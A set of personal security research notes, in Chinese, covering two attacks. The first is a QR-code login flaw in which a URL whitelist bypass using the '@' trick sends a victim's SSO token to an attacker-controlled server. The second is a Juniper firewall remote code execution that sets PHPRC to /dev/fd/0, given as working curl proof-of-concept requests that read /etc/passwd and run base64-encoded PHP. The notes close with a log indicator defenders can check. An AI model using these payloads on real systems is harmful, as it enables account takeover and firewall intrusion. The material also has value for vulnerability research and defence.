随手记

一、SRC挖掘窃取SSO Token—攻击二维码(二)

  1. 定位扫码代码

    某APP存在二维码扫码的功能点,登录的场景,对二维码进行解码

    根据"RCE_LOGIN"特征在jadx内搜索

    查找代码引用,发现扫码后有多个分支条件,对每个分支进行代码审计

    注意到其中一个分支条件是二维码解码后若为http://或https://开头,再通过BankUrlUtils.isBankUrl判断待访问的URL是否在白名单内,若通过白名单校验则会获取SSO登录的token拼接到url里再请求

    传入的URL是我们可控的,若我们传入的URL可以绕过白名单校验,则我们可以搭建一个服务端并且构造一个恶意二维码,他人扫我们构造的二维码后,我们可以通过服务端接收他的SSO token

  2. 绕过白名单校验

    https://www.example.com**@**192.168.137.1:8443/,只要包含了一个白名单内的URL,即可通过校验。

二、Juniper防火墙RCE

  1. 将PHPRC环境变量设置为其中一个文件,然后使用php.ini auto_prepend_file设置强制每个php页面加载第二个文件来实现代码执行。这是一个非常好的攻击思路,但如果你不能上传文件的环境呢,还有一条路,使用stdin。

    1. Juniper防火墙使用Appweb web服务器。当Appweb调用CGI脚本时,它会传递各种环境变量和参数,以便脚本可以访问用户的HTTP请求。HTTP请求的主体通过stdin传递。受影响的防火墙运行FreeBSD,每个FreeBSD进程都可以通过打开/dev/fd/0访问其stdin。通过发送HTTP请求,我们可以向系统引入一个“文件”/dev/fd/0。
    2. 使用这个技巧,可以将PHPRC环境变量设置为/dev/fd/0,并在HTTP请求中包含所需的php.ini。下面的curl请求演示了这种攻击,可以为每个响应包前触发显示/etc/passwd。
    $ curl "<http://10.12.72.1/?PHPRC=/dev/fd/0>" --data-binary 'auto_prepend_file="/etc/passwd"'
    
  2. RCE的思路和POC

    1. 通过启用allow_url_include,我们可以使用任何带有auto_prepend_file的协议包装器。显而易见的选择是 data:// 以内联方式提供“第二个文件”形式。以下是执行<?phpinfo();?> 的POC:

      $ curl "<http://10.12.72.1/?PHPRC=/dev/fd/0>" --data-binary $'allow_url_include=1\\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
      
  3. 防火墙是 APT 常见的目标,因为它们有助于桥接受保护的网络,并可以充当 C2 基础设施的有用主机。如果拥有未打补丁的Juniper网络防火墙的站点,都应该检查是否有被入侵的痕迹。httpd.log会包含以下payload部分:httpd:2:POST /?PHPRC=/dev/fd/0 HTTP/1.1

周末待看

一周总结